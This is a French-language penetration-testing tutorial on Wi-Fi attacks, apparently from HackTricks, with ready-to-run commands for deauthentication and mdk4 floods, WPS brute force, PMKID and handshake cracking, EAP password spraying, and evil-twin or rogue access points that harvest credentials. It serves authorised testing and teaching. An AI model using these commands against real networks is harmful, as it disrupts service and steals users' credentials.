Pentesting Wifi

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Rejoignez le serveur HackenProof Discord pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !

Perspectives de piratage Engagez-vous avec du contenu qui explore le frisson et les défis du piratage

Actualités de piratage en temps réel Restez à jour avec le monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel

Dernières annonces Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs pirates dès aujourd'hui !

Commandes de base Wifi

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Outils

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

Airgeddon est un outil tout-en-un pour les tests de sécurité sans fil sur les réseaux Wi-Fi. Il combine de nombreuses attaques puissantes dans un seul framework, ce qui en fait un choix populaire parmi les pentesteurs et les chercheurs en sécurité.

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Exécutez airgeddon avec docker

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

wifiphisher

Il peut effectuer des attaques Evil Twin, KARMA et Known Beacons, puis utiliser un modèle de phishing pour parvenir à obtenir le vrai mot de passe du réseau ou capturer les identifiants des réseaux sociaux.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Cet outil automatise les attaques WPS/WEP/WPA-PSK. Il effectuera automatiquement :

  • Mettre l'interface en mode monitor

  • Scanner les réseaux possibles - Et vous permet de sélectionner la victime(s)

  • Si WEP - Lancer des attaques WEP

  • Si WPA-PSK

  • Si WPS : Attaque Pixie dust et attaque par force brute (soyez prudent, l'attaque par force brute pourrait prendre beaucoup de temps). Notez qu'il n'essaie pas les PIN nuls ou les PIN générés par base de données.

  • Essayer de capturer le PMKID de l'AP pour le craquer

  • Essayer de déauthentifier les clients de l'AP pour capturer un handshake

  • Si PMKID ou Handshake, essayer de faire une attaque par force brute en utilisant les 5000 meilleurs mots de passe.

Résumé des attaques

  • DoS

  • Paquets de déauthentification/désassociation -- Déconnecter tout le monde (ou un ESSID/Client spécifique)

  • Faux AP aléatoires -- Cacher les réseaux, possible de crasher les scanners

  • Surcharge de l'AP -- Essayer de tuer l'AP (généralement pas très utile)

  • WIDS -- Jouer avec l'IDS

  • TKIP, EAPOL -- Quelques attaques spécifiques pour DoS certains APs

  • Cracking

  • Cracker WEP (plusieurs outils et méthodes)

  • WPA-PSK

  • WPS pin "Brute-Force"

  • WPA PMKID bruteforce

  • [DoS +] Capture de WPA handshake + Cracking

  • WPA-MGT

  • Capture de Nom d'utilisateur

  • Bruteforce des identifiants

  • Jumeau maléfique (avec ou sans DoS)

  • Jumeau maléfique Ouvert [+ DoS] -- Utile pour capturer les identifiants du portail captif et/ou effectuer des attaques LAN

  • Jumeau maléfique WPA-PSK -- Utile pour les attaques réseau si vous connaissez le mot de passe

  • WPA-MGT -- Utile pour capturer les identifiants de l'entreprise

  • KARMA, MANA, MANA bruyant, Balise connue

  • + Ouvert -- Utile pour capturer les identifiants du portail captif et/ou effectuer des attaques LAN

  • + WPA -- Utile pour capturer les handshakes WPA

DOS

Paquets de Déauthentification

Description de ici:.

Les attaques de déauthentification, une méthode courante dans le piratage Wi-Fi, consistent à forger des trames "de gestion" pour déconnecter de force les appareils d'un réseau. Ces paquets non chiffrés trompent les clients en leur faisant croire qu'ils proviennent du réseau légitime, permettant aux attaquants de collecter des handshakes WPA à des fins de craquage ou de perturber de manière persistante les connexions réseau. Cette tactique, alarmante par sa simplicité, est largement utilisée et a des implications significatives pour la sécurité des réseaux.

Déauthentification en utilisant Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 signifie déauthentification

  • 1 est le nombre de déauthentifications à envoyer (vous pouvez en envoyer plusieurs si vous le souhaitez); 0 signifie les envoyer en continu

  • -a 00:14:6C:7E:40:80 est l'adresse MAC du point d'accès

  • -c 00:0F:B5:34:30:30 est l'adresse MAC du client à déauthentifier; si cela est omis, une déauthentification de diffusion est envoyée (ne fonctionne pas toujours)

  • ath0 est le nom de l'interface

Paquets de désassociation

Les paquets de désassociation, similaires aux paquets de déauthentification, sont un type de trame de gestion utilisée dans les réseaux Wi-Fi. Ces paquets servent à rompre la connexion entre un appareil (tel qu'un ordinateur portable ou un smartphone) et un point d'accès (AP). La principale distinction entre la désassociation et la déauthentification réside dans leurs scénarios d'utilisation. Alors qu'un AP émet des **paquets de déauthentification pour retirer explicitement les appareils indésirables du réseau, les paquets de désassociation sont généralement envoyés lorsque l'AP est en cours d'arrêt, de redémarrage ou de déplacement, nécessitant ainsi la déconnexion de tous les nœuds connectés.

Cette attaque peut être effectuée par mdk4 (mode "d"):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Plus d'attaques DOS par mdk4

Dans ce lien.

MODE D'ATTAQUE b : Inondation de balises

Envoie des trames de balises pour afficher de faux AP aux clients. Cela peut parfois faire planter les scanners réseau et même les pilotes !

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

MODE D'ATTAQUE a: Déni de service d'authentification

L'envoi de trames d'authentification à tous les Points d'Accès (APs) accessibles dans la portée peut surcharger ces APs, surtout lorsque de nombreux clients sont impliqués. Ce trafic intense peut entraîner une instabilité du système, provoquant le gel ou même la réinitialisation de certains APs.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

MODE D'ATTAQUE p: Exploration et Bruteforcing des SSID

L'exploration des Points d'Accès (AP) vérifie si un SSID est correctement révélé et confirme la portée de l'AP. Cette technique, associée au bruteforcing des SSID cachés avec ou sans liste de mots, aide à identifier et accéder aux réseaux dissimulés.

MODE D'ATTAQUE m: Exploitation des Contremesures de Michael

L'envoi de paquets aléatoires ou dupliqués à différentes files QoS peut déclencher les Contremesures de Michael sur les AP TKIP, entraînant un arrêt d'une minute de l'AP. Cette méthode est une tactique d'attaque DoS (Déni de Service) efficace.

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

MODE D'ATTAQUE e: Injection de paquets EAPOL Start et Logoff

Inonder un point d'accès avec des trames de démarrage EAPOL crée des sessions fictives, submergeant le point d'accès et bloquant les clients légitimes. Alternativement, injecter des faux messages de déconnexion EAPOL déconnecte de force les clients, ces deux méthodes perturbent efficacement le service réseau.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

MODE D'ATTAQUE s : Attaques pour les réseaux maillés IEEE 802.11s

Diverses attaques sur la gestion des liens et le routage dans les réseaux maillés.

MODE D'ATTAQUE w : Confusion WIDS

La connexion croisée des clients à plusieurs nœuds WDS ou à de faux AP malveillants peut manipuler les systèmes de détection et de prévention des intrusions, créant de la confusion et un potentiel d'abus du système.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

MODE D'ATTAQUE f: Packet Fuzzer

Un packet fuzzer proposant diverses sources de paquets et un ensemble complet de modificateurs pour la manipulation de paquets.

Airggedon

Airgeddon propose la plupart des attaques proposées dans les commentaires précédents :

WPS

WPS (Wi-Fi Protected Setup) simplifie le processus de connexion des appareils à un routeur, améliorant la vitesse et la facilité de configuration pour les réseaux cryptés avec WPA ou WPA2 Personnel. Il est inefficace pour la sécurité WEP facilement compromise. WPS utilise un PIN à 8 chiffres, validé en deux moitiés, le rendant susceptible aux attaques par force brute en raison de son nombre limité de combinaisons (11 000 possibilités).

Brute Force WPS

Il existe 2 principaux outils pour effectuer cette action : Reaver et Bully.

  • Reaver a été conçu pour être une attaque robuste et pratique contre WPS, et a été testé contre une grande variété de points d'accès et d'implémentations WPS.

  • Bully est une nouvelle implémentation de l'attaque par force brute WPS, écrite en C. Il présente plusieurs avantages par rapport au code reaver original : moins de dépendances, amélioration des performances mémoire et CPU, gestion correcte de l'endianness et un ensemble d'options plus robuste.

L'attaque exploite la vulnérabilité du PIN WPS, en particulier son exposition des quatre premiers chiffres et le rôle du dernier chiffre en tant que checksum, facilitant l'attaque par force brute. Cependant, les défenses contre les attaques par force brute, comme le blocage des adresses MAC des attaquants agressifs, exigent une rotation des adresses MAC pour poursuivre l'attaque.

Après avoir obtenu le PIN WPS avec des outils comme Bully ou Reaver, l'attaquant peut déduire le PSK WPA/WPA2, assurant un accès réseau persistant.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Brute Force Intelligent

Cette approche affinée cible les PIN WPS en utilisant des vulnérabilités connues :

  1. PINs pré-découverts : Utilisez une base de données de PINs connus liés à des fabricants spécifiques connus pour utiliser des PINs WPS uniformes. Cette base de données corrèle les trois premiers octets des adresses MAC avec des PINs probables pour ces fabricants.

  2. Algorithmes de génération de PIN : Exploitez des algorithmes comme ComputePIN et EasyBox, qui calculent des PINs WPS basés sur l'adresse MAC de l'AP. L'algorithme Arcadyan nécessite en outre un ID de périphérique, ajoutant une couche au processus de génération de PIN.

Attaque WPS Pixie Dust

Dominique Bongard a découvert une faille dans certains Points d'Accès (AP) concernant la création de codes secrets, appelés nonces (E-S1 et E-S2). Si ces nonces peuvent être découverts, le craquage du PIN WPS de l'AP devient facile. L'AP révèle le PIN dans un code spécial (hash) pour prouver qu'il est légitime et non un AP faux (rogue). Ces nonces sont essentiellement les "clés" pour déverrouiller le "coffre-fort" qui contient le PIN WPS. Plus d'informations à ce sujet peuvent être trouvées ici.

En termes simples, le problème est que certains AP n'utilisaient pas des clés assez aléatoires pour chiffrer le PIN lors du processus de connexion. Cela rend le PIN vulnérable à être deviné depuis l'extérieur du réseau (attaque de force brute hors ligne).

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Si vous ne voulez pas passer l'appareil en mode monitor, ou si reaver et bully posent problème, vous pouvez essayer OneShot-C. Cet outil peut effectuer une attaque Pixie Dust sans avoir à passer en mode monitor.

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Attaque de code PIN nul

Certains systèmes mal conçus permettent même à un code PIN nul (un code PIN vide ou inexistant) d'accorder l'accès, ce qui est assez inhabituel. L'outil Reaver est capable de tester cette vulnérabilité, contrairement à Bully.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Toutes les attaques WPS proposées peuvent être facilement effectuées en utilisant airgeddon.

  • 5 et 6 vous permettent d'essayer votre PIN personnalisé (si vous en avez un)

  • 7 et 8 effectuent l'attaque Pixie Dust

  • 13 vous permet de tester le PIN NULL

  • 11 et 12 vont récupérer les PINs liés à l'AP sélectionné à partir des bases de données disponibles et générer des PINs possibles en utilisant : ComputePIN, EasyBox et éventuellement Arcadyan (recommandé, pourquoi pas ?)

  • 9 et 10 vont tester chaque PIN possible

WEP

Tellement obsolète et inutilisé de nos jours. Sachez simplement que airgeddon a une option WEP appelée "All-in-One" pour attaquer ce type de protection. Plusieurs outils offrent des options similaires.


Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !

Perspectives sur le Hacking Engagez-vous avec du contenu qui explore le frisson et les défis du hacking

Actualités de Hacking en Temps Réel Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux informations en temps réel

Dernières Annonces Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !


WPA/WPA2 PSK

PMKID

En 2018, hashcat a révélé une nouvelle méthode d'attaque, unique car elle ne nécessite qu'un seul paquet et ne nécessite pas que des clients soient connectés à l'AP cible, juste une interaction entre l'attaquant et l'AP.

De nombreux routeurs modernes ajoutent un champ optionnel au premier cadre EAPOL lors de l'association, connu sous le nom de Robust Security Network. Cela inclut le PMKID.

Comme l'article original l'explique, le PMKID est créé en utilisant des données connues :

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Étant donné que le "Nom PMK" est constant, nous connaissons le BSSID de l'AP et de la station, et le PMK est identique à celui d'une poignée de main complète en 4 étapes, hashcat peut utiliser ces informations pour craquer le PSK et récupérer la phrase secrète!

Pour collecter ces informations et effectuer une attaque par force brute localement sur le mot de passe, vous pouvez faire :

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

Les PMKIDs capturés seront affichés dans la console et également enregistrés dans _/tmp/attack.pcap_ Maintenant, convertissez la capture au format hashcat/john et crackez-la:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Veuillez noter que le format correct d'un hachage contient 4 parties, comme ceci : 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Si le vôtre ne contient que 3 parties, alors il est invalide (la capture PMKID n'était pas valide).

Notez que hcxdumptool capture également les poignées de main (quelque chose comme ceci apparaîtra : MP:M1M2 RC:63258 EAPOLTIME:17091). Vous pouvez transformer les poignées de main au format hashcat/john en utilisant cap2hccapx

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

J'ai remarqué que certaines poignées de main capturées avec cet outil ne pouvaient pas être craquées même en connaissant le mot de passe correct. Je recommanderais de capturer les poignées de main également de manière traditionnelle si possible, ou d'en capturer plusieurs en utilisant cet outil.

Capture de poignée de main

Une attaque sur les réseaux WPA/WPA2 peut être exécutée en capturant une poignée de main et en tentant de craquer le mot de passe hors ligne. Ce processus implique de surveiller la communication d'un réseau spécifique et du BSSID sur un canal particulier. Voici un guide simplifié :

  1. Identifier le BSSID, le canal et un client connecté du réseau cible.

  2. Utiliser airodump-ng pour surveiller le trafic réseau sur le canal et le BSSID spécifiés, en espérant capturer une poignée de main. La commande ressemblera à ceci :

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Pour augmenter les chances de capturer une poignée de main, déconnectez momentanément le client du réseau pour forcer une nouvelle authentification. Cela peut être fait en utilisant la commande aireplay-ng, qui envoie des paquets de déauthentification au client :

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Notez que lorsque le client a été désauthentifié, il pourrait essayer de se connecter à un autre AP ou, dans d'autres cas, à un réseau différent.

Une fois que les informations de poignée de main apparaissent dans airodump-ng, cela signifie que la poignée de main a été capturée et vous pouvez arrêter d'écouter :

Une fois la poignée de main capturée, vous pouvez la cracker avec aircrack-ng :

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Vérifier si le handshake est présent dans le fichier

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

Si cet outil trouve une poignée de main incomplète d'un ESSID avant la complète, il ne détectera pas la valide.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

Dans les configurations WiFi d'entreprise, vous rencontrerez diverses méthodes d'authentification, offrant chacune différents niveaux de sécurité et fonctionnalités de gestion. Lorsque vous utilisez des outils tels que airodump-ng pour inspecter le trafic réseau, vous pouvez remarquer des identifiants pour ces types d'authentification. Certaines méthodes courantes incluent :

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):

  • Cette méthode prend en charge les jetons matériels et les mots de passe à usage unique dans EAP-PEAP. Contrairement à MSCHAPv2, elle n'utilise pas de défi pair et envoie les mots de passe en texte clair à l'accès point, ce qui pose un risque d'attaques de rétrogradation.

  1. EAP-MD5 (Message Digest 5):

  • Implique l'envoi du hachage MD5 du mot de passe depuis le client. Il n'est pas recommandé en raison de la vulnérabilité aux attaques par dictionnaire, du manque d'authentification du serveur et de l'incapacité à générer des clés WEP spécifiques à la session.

  1. EAP-TLS (Transport Layer Security):

  • Utilise à la fois des certificats côté client et côté serveur pour l'authentification et peut générer dynamiquement des clés WEP basées sur l'utilisateur et la session pour sécuriser les communications.

  1. EAP-TTLS (Tunneled Transport Layer Security):

  • Fournit une authentification mutuelle via un tunnel chiffré, ainsi qu'une méthode pour dériver des clés WEP dynamiques, par utilisateur et par session. Il ne nécessite que des certificats côté serveur, les clients utilisant des identifiants.

  1. PEAP (Protected Extensible Authentication Protocol):

  • Fonctionne de manière similaire à EAP en créant un tunnel TLS pour une communication protégée. Il permet l'utilisation de protocoles d'authentification plus faibles sur EAP en raison de la protection offerte par le tunnel.

  • PEAP-MSCHAPv2: Souvent appelé PEAP, il combine le mécanisme de défi/réponse MSCHAPv2 vulnérable avec un tunnel TLS protecteur.

  • PEAP-EAP-TLS (ou PEAP-TLS): Similaire à EAP-TLS mais initie un tunnel TLS avant l'échange de certificats, offrant une couche de sécurité supplémentaire.

Vous pouvez trouver plus d'informations sur ces méthodes d'authentification ici et ici.

Capture de nom d'utilisateur

En lisant https://tools.ietf.org/html/rfc3748#page-27, il semble que si vous utilisez EAP, les messages "Identité" doivent être pris en charge, et le nom d'utilisateur sera envoyé en clair dans les messages "Réponse Identité".

Même en utilisant l'une des méthodes d'authentification les plus sécurisées : PEAP-EAP-TLS, il est possible de capturer le nom d'utilisateur envoyé dans le protocole EAP. Pour ce faire, capturez une communication d'authentification (démarrez airodump-ng sur un canal et wireshark sur la même interface) et filtrez les paquets par eapol. Dans le paquet "Réponse, Identité", le nom d'utilisateur du client apparaîtra.

Identités anonymes

La dissimulation de l'identité est prise en charge à la fois par EAP-PEAP et EAP-TTLS. Dans le contexte d'un réseau WiFi, une demande d'identité EAP est généralement initiée par le point d'accès (AP) lors du processus d'association. Pour garantir la protection de l'anonymat de l'utilisateur, la réponse du client EAP sur l'appareil de l'utilisateur ne contient que les informations essentielles nécessaires pour que le serveur RADIUS initial traite la demande. Ce concept est illustré à travers les scénarios suivants :

  • EAP-Identité = anonyme

  • Dans ce scénario, tous les utilisateurs utilisent le pseudonyme "anonyme" comme identifiant utilisateur. Le serveur RADIUS initial fonctionne soit comme un serveur EAP-PEAP ou EAP-TTLS, responsable de la gestion du côté serveur du protocole PEAP ou TTLS. La méthode d'authentification interne (protégée) est ensuite soit gérée localement, soit déléguée à un serveur RADIUS distant (domicile).

En EAP-PEAP, une fois que le tunnel TLS est établi entre le serveur PEAP et le client PEAP, le serveur PEAP initie une demande d'identité EAP et la transmet à travers le tunnel TLS. Le client répond à cette deuxième demande d'identité EAP en envoyant une réponse d'identité EAP contenant la véritable identité de l'utilisateur à travers le tunnel chiffré. Cette approche empêche efficacement la révélation de l'identité réelle de l'utilisateur à toute personne qui écoute le trafic 802.11.

EAP-TTLS suit une procédure légèrement différente. Avec EAP-TTLS, le client s'authentifie généralement en utilisant PAP ou CHAP, sécurisé par le tunnel TLS. Dans ce cas, le client inclut un attribut Nom d'utilisateur et soit un attribut Mot de passe, soit un attribut CHAP-Mot de passe dans le message TLS initial envoyé après l'établissement du tunnel.

Peu importe le protocole choisi, le serveur PEAP/TTLS obtient connaissance de la véritable identité de l'utilisateur une fois que le tunnel TLS a été établi. La véritable identité peut être représentée sous la forme utilisateur@domaine ou simplement utilisateur. Si le serveur PEAP/TTLS est également responsable de l'authentification de l'utilisateur, il possède désormais l'identité de l'utilisateur et procède à la méthode d'authentification protégée par le tunnel TLS. Alternativement, le serveur PEAP/TTLS peut transmettre une nouvelle demande RADIUS au serveur RADIUS d'origine de l'utilisateur. Cette nouvelle demande RADIUS exclut la couche de protocole PEAP ou TTLS. Dans les cas où la méthode d'authentification protégée est EAP, les messages EAP internes sont transmis au serveur RADIUS d'origine sans l'enveloppe EAP-PEAP ou EAP-TTLS. L'attribut Nom d'utilisateur du message RADIUS sortant contient la véritable identité de l'utilisateur, remplaçant le Nom d'utilisateur anonyme du message RADIUS entrant. Lorsque la méthode d'authentification protégée est PAP ou CHAP (prise en charge uniquement par TTLS), les attributs Nom d'utilisateur et autres attributs d'authentification extraits de la charge utile TLS sont substitués dans le message RADIUS sortant, remplaçant le Nom d'utilisateur anonyme et les attributs EAP-Message TTLS trouvés dans la demande RADIUS entrante.

Pour plus d'informations, consultez https://www.interlinknetworks.com/app_notes/eap-peap.htm

EAP-Bruteforce (password spray)

Si le client est censé utiliser un nom d'utilisateur et un mot de passe (notez que EAP-TLS ne sera pas valide dans ce cas), vous pourriez essayer d'obtenir une liste de noms d'utilisateur (voir la prochaine partie) et de mots de passe et essayer de forcer l'accès en utilisant air-hammer.

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

Vous pourriez également effectuer cette attaque en utilisant eaphammer :

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Théorie des attaques client

Sélection du réseau et itinérance

  • Le protocole 802.11 définit comment une station rejoint un ensemble de services étendu (ESS) mais ne spécifie pas les critères de sélection d'un ESS ou d'un point d'accès (AP) à l'intérieur.

  • Les stations peuvent passer d'un AP à un autre partageant le même ESSID, maintenant la connectivité à travers un bâtiment ou une zone.

  • Le protocole exige une authentification de la station à l'ESS mais ne mandate pas l'authentification de l'AP à la station.

Listes de réseaux préférés (PNL)

  • Les stations stockent l'ESSID de chaque réseau sans fil auquel elles se connectent dans leur liste de réseaux préférés (PNL), ainsi que les détails de configuration spécifiques au réseau.

  • La PNL est utilisée pour se connecter automatiquement aux réseaux connus, améliorant l'expérience de l'utilisateur en simplifiant le processus de connexion.

Balayage passif

  • Les AP diffusent périodiquement des trames de balise, annonçant leur présence et leurs caractéristiques, y compris l'ESSID de l'AP à moins que la diffusion ne soit désactivée.

  • Pendant le balayage passif, les stations écoutent les trames de balise. Si l'ESSID d'une balise correspond à une entrée dans la PNL de la station, la station peut se connecter automatiquement à cet AP.

  • La connaissance de la PNL d'un appareil permet une exploitation potentielle en imitant l'ESSID d'un réseau connu, trompant l'appareil pour se connecter à un AP frauduleux.

Exploration active

  • L'exploration active implique que les stations envoient des demandes de sondage pour découvrir les AP à proximité et leurs caractéristiques.

  • Les demandes de sondage dirigées ciblent un ESSID spécifique, aidant à détecter si un réseau particulier est à portée, même s'il s'agit d'un réseau masqué.

  • Les demandes de sondage de diffusion ont un champ SSID nul et sont envoyées à tous les AP à proximité, permettant à la station de vérifier tout réseau préféré sans divulguer le contenu de sa PNL.

Simple AP avec redirection vers Internet

Avant d'expliquer comment effectuer des attaques plus complexes, il va être expliqué comment simplement créer un AP et rediriger son trafic vers une interface connectée à Internet.

En utilisant ifconfig -a, vérifiez que l'interface wlan pour créer l'AP et l'interface connectée à Internet sont présentes.

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

Créez le fichier de configuration /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Ensuite, définissez les adresses IP et les routes :

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

Et ensuite démarrer dnsmasq :

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

Créez un fichier de configuration hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Arrêtez les processus gênants, activez le mode monitor, et démarrez hostapd :

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Redirection et Renvoi

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Jumeau Maléfique

Une attaque de jumeau maléfique exploite la façon dont les clients WiFi reconnaissent les réseaux, en se basant principalement sur le nom du réseau (ESSID) sans exiger que la station de base (point d'accès) s'authentifie auprès du client. Les points clés incluent :

  • Difficulté de Différenciation : Les appareils ont du mal à distinguer entre les points d'accès légitimes et les points d'accès frauduleux lorsqu'ils partagent le même ESSID et le même type de chiffrement. Les réseaux du monde réel utilisent souvent plusieurs points d'accès avec le même ESSID pour étendre la couverture de manière transparente.

  • Roaming Client et Manipulation de la Connexion : Le protocole 802.11 permet aux appareils de passer d'un point d'accès à un autre au sein du même ESS. Les attaquants peuvent exploiter cela en incitant un appareil à se déconnecter de sa station de base actuelle et à se connecter à un point d'accès frauduleux. Cela peut être réalisé en offrant un signal plus fort ou en perturbant la connexion au point d'accès légitime à travers des méthodes telles que l'envoi de paquets de déauthentification ou le brouillage.

  • Défis dans l'Exécution : Exécuter avec succès une attaque de jumeau maléfique dans des environnements avec de multiples points d'accès bien placés peut être difficile. Déauthentifier un seul point d'accès légitime conduit souvent l'appareil à se connecter à un autre point d'accès légitime à moins que l'attaquant puisse déauthentifier tous les points d'accès à proximité ou placer stratégiquement le point d'accès frauduleux.

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

Vous pouvez également créer un Twin Maléfique en utilisant eaphammer (remarquez que pour créer des twins maléfiques avec eaphammer, l'interface NE DOIT PAS être en mode monitor):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Ou en utilisant Airgeddon : Options : 5,6,7,8,9 (à l'intérieur du menu d'attaque Evil Twin).

Veuillez noter qu'en cas de protection WPA par défaut d'un ESSID dans la PNL, le périphérique ne se connectera pas automatiquement à un faux point d'accès ouvert. Vous pouvez essayer de faire une attaque de déni de service sur le vrai AP et espérer que l'utilisateur se connectera manuellement à votre faux point d'accès ouvert, ou vous pourriez faire une attaque de déni de service sur le vrai AP et utiliser un faux point d'accès WPA pour capturer le handshake (en utilisant cette méthode, vous ne pourrez pas laisser la victime se connecter à vous car vous ne connaissez pas la PSK, mais vous pouvez capturer le handshake et essayer de le craquer).

Certains systèmes d'exploitation et antivirus avertiront l'utilisateur que se connecter à un réseau ouvert est dangereux...

Faux point d'accès WPA/WPA2

Vous pouvez créer un Faux point d'accès en utilisant WPA/2 et si les appareils sont configurés pour se connecter à cet SSID avec WPA/2, ils vont essayer de se connecter. Cependant, pour compléter le handshake en 4 étapes, vous devez également connaître le mot de passe que le client va utiliser. Si vous ne le connaissez pas, la connexion ne sera pas complétée.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Faux point d'accès d'entreprise

Pour comprendre ces attaques, je recommanderais de lire d'abord la brève explication sur WPA Enterprise.

Utilisation de hostapd-wpe

hostapd-wpe a besoin d'un fichier de configuration pour fonctionner. Pour automatiser la génération de ces configurations, vous pourriez utiliser https://github.com/WJDigby/apd_launchpad (téléchargez le fichier python à l'intérieur de /etc/hostapd-wpe/).

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

